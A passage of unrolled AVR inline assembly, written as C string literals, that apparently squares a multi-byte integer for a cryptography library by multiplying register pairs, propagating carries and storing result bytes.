r25 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r8, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r10, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r11, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r12, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r3, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r13, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r4, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r5, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r5, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r14, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r5, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r6, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r7, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r15, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r6, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r7, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r8, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r16, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r7, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r8, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 